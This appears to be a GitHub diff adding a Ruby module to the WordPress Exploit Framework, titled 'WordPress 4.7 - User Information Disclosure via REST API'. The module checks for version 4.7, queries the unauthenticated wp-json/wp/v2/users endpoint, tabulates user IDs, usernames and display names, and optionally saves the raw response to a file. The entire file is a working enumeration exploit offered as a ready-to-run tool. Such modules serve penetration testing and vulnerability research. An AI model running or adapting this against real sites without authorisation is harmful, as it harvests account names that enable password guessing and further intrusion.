|
| 1 | +class Wpxf::Auxiliary::Wp47UserInfoDisclosure < Wpxf::Module |
| 2 | + include Wpxf |
| 3 | + |
| 4 | + def initialize |
| 5 | + super |
| 6 | + |
| 7 | + update_info( |
| 8 | + name: 'WordPress 4.7 - User Information Disclosure via REST API', |
| 9 | + desc: %( |
| 10 | + The new WordPress REST API allows anonymous access. One of the functions that |
| 11 | + it provides, is that anyone can list the users on a WordPress website without |
| 12 | + registering or having an account. |
| 13 | + ), |
| 14 | + author: [ |
| 15 | + 'Rob Carr <rob[at]rastating.com>' # WPXF module |
| 16 | + ], |
| 17 | + references: [ |
| 18 | + ['WPVDB', '8715'], |
| 19 | + ['URL', 'https://github.com/WordPress/WordPress/commit/daf358983cc1ce0c77bf6d2de2ebbb43df2add60'] |
| 20 | + ], |
| 21 | + date: 'Jan 11 2017' |
| 22 | + ) |
| 23 | + |
| 24 | + register_options([ |
| 25 | + StringOption.new( |
| 26 | + name: 'export_path', |
| 27 | + desc: 'The file to save the export to', |
| 28 | + required: false |
| 29 | + ) |
| 30 | + ]) |
| 31 | + end |
| 32 | + |
| 33 | + def check |
| 34 | + version = wordpress_version |
| 35 | + return :unknown if version.nil? |
| 36 | + return :vulnerable if version == Gem::Version.new('4.7') |
| 37 | + :safe |
| 38 | + end |
| 39 | + |
| 40 | + def export_path |
| 41 | + normalized_option_value('export_path') |
| 42 | + end |
| 43 | + |
| 44 | + def users_api_url |
| 45 | + normalize_uri(full_uri, 'wp-json', 'wp', 'v2', 'users') |
| 46 | + end |
| 47 | + |
| 48 | + def call_users_api |
| 49 | + res = execute_get_request(url: users_api_url) |
| 50 | + |
| 51 | + if res.nil? |
| 52 | + emit_error 'No response from the target' |
| 53 | + return nil |
| 54 | + end |
| 55 | + |
| 56 | + if res.code != 200 |
| 57 | + emit_error "Server responded with code #{res.code}" |
| 58 | + return nil |
| 59 | + end |
| 60 | + |
| 61 | + res |
| 62 | + end |
| 63 | + |
| 64 | + def output_user_list(api_output) |
| 65 | + headers = [{ id: 'ID', username: 'Username', name: 'Name' }] |
| 66 | + rows = [] |
| 67 | + |
| 68 | + users = JSON.parse(api_output) |
| 69 | + users.each do |user| |
| 70 | + rows.push(id: user['id'], username: user['slug'], name: user['name']) |
| 71 | + end |
| 72 | + |
| 73 | + rows.sort_by! { |row| row[:id] } |
| 74 | + emit_table headers.concat(rows) |
| 75 | + end |
| 76 | + |
| 77 | + def run |
| 78 | + return false unless super |
| 79 | + |
| 80 | + emit_info 'Calling the users API...' |
| 81 | + res = call_users_api |
| 82 | + return false if res.nil? |
| 83 | + |
| 84 | + emit_info 'Parsing result...', true |
| 85 | + output_user_list res.body |
| 86 | + |
| 87 | + if export_path |
| 88 | + emit_info 'Saving export...' |
| 89 | + File.open(export_path, 'w') { |file| file.write(res.body) } |
| 90 | + emit_success "Saved export to #{export_path}" |
| 91 | + end |
| 92 | + |
| 93 | + true |
| 94 | + end |
| 95 | +end |
0 commit comments